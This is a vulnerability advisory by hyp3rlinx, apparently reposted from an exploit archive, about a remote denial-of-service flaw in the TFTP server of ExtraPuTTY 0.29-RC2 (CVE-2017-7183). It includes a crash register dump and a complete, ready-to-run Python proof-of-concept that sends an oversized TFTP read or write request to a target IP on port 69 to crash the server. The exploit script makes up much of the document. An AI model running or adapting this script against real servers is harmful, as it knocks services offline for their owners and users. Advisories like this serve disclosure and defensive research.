ExtraPuTTY 0.29-RC2 - Denial of Service Vulnerability

[+] Credits: John Page AKA hyp3rlinx    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/EXTRAPUTTY-TFTP-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec            
  
 
 
Vendor:
==================
www.extraputty.com
 
 
 
Product:
======================
ExtraPuTTY - v029_RC2
hash: d7212fb5bc4144ef895618187f532773
 
Also Vulnerable: v0.30 r15
hash: eac63550f837a98d5d52d0a19d938b91
 
ExtraPuTTY is a fork from 0.67 version of PuTTY.
ExtraPuTTY has all the features from the original soft and adds others.
 
Below a short list of the principal features (see all features):
DLL frontend
TestStand API ( LabWindows ,TestStand 2012)
timestamp
StatusBar
Scripting a session with lua 5.3.
Automatic sequencing of commands.
Shortcuts for pre-defined commands.
Keyboard shortcuts for pre-defined command
Portability (use of directories structure)
Integrates FTP,TFTP,SCP,SFTP,Ymodem,Xmodem transfert protocols
Integrates PuTTYcyg,PuTTYSC, HyperLink, zmodem and session manager projects
Change default settings from configuration file
Change putty settings during session
PuTTYcmdSender : tool to send command or keyboard shortcut to multiple putty windows
 
 
Vulnerability Type:
=======================
TFTP Denial of Service
 
 
 
CVE Reference:
==============
CVE-2017-7183
 
 
 
Security Issue:
================
TFTP server component of ExtraPuTTY is vulnerable to remote Denial of Service attack by sending large junk UDP
Read/Write TFTP protocol request packets. 
 
Open ExtraPuTTY Session Manager, select => Files Transfer => TFTP Server, run below Python exploit.
 
Then, BOOM
 
(100c.30c): Access violation - code c0000005 (first/second chance not available)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for kernel32.dll - 
eax=00000000 ebx=0929ee98 ecx=00000174 edx=7efefeff esi=00000002 edi=00000000
eip=77b4015d esp=0929ee48 ebp=0929eee4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!ZwWaitForMultipleObjects+0x15:
 
 
 
Exploit/POC:
=============
import socket
 
print "ExtraPuTTY v029_RC2 TFTP Server"
print "Remote Denial Of Service 0day Exploit"
print "John Page AKA hyp3rlinx\n"
 
TARGET=raw_input("[IP]>")
TYPE=int(raw_input("[Select DOS Type: Read=1, Write=2]>"))
CRASH="A"*2000                     
PORT = 69
 
if TYPE==1:
    PAYLOAD = "\x00\x01"                                     
    PAYLOAD += CRASH + "\x00"   
    PAYLOAD += "netascii\x00"                                
elif TYPE==2:
    PAYLOAD = "\x00\x02"                                     
    PAYLOAD += CRASH + "\x00"   
    PAYLOAD += "netascii\x00"                                
 
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto("\x00\x01\TEST\x00\netascii\x00", (TARGET, PORT))
    recv = s.recvfrom(255)
    if recv != None:
        print "Crashing ExtraPuTTY TFTP server at : %s" %(TARGET)
        s.sendto(PAYLOAD, (TARGET, PORT))
except Exception:
        print 'Server not avail, try later'
s.close()

#  0day.today [2018-04-02]  #